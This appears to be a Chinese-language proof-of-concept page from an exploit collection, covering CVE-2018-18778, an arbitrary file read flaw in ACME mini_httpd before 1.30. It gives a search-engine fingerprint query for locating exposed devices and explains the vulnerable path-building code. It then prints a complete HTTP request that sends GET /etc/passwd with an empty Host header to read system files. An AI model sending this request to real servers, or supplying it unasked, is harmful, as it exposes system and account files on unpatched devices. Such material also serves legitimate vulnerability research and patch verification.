Awesome-POC/Web服务器漏洞/ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778.md
2023-08-28 15:55:36 +08:00

49 lines
1.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ACME Mini_httpd 任意文件读取漏洞 CVE-2018-18778
## 漏洞描述
漏洞原因是由于没有过滤Http包头的特定字段导致可以构造访问系统文件的路径从而导致可访问任意文件攻击者可以利用该漏洞读取设备的任意文件这将严重威胁采用Mini_httpd的设备的安全性。
## 漏洞影响
```
ACME mini_httpd before 1.30
```
## 网络测绘
```
app="ACME-mini_httpd"
```
## 漏洞复现
指纹信息
![](./images/202205251634254.png)
在mini_httpd开启虚拟主机模式的情况下用户请求`http://HOST/FILE`将会访问到当前目录下的HOST/FILE文件。
`HOST=example.com、FILE=index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。
`HOST为空、FILE=etc/passwd`的时候,上述语句结果为`/etc/passwd`
```
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
```
发送请求包, 置空 host
```
GET /etc/passwd HTTP/1.1
Host:
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 0
Referer: http://192.168.0.144:8080/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
x-requested-with: XMLHttpRequest
```
![](./images/202205251635832.png)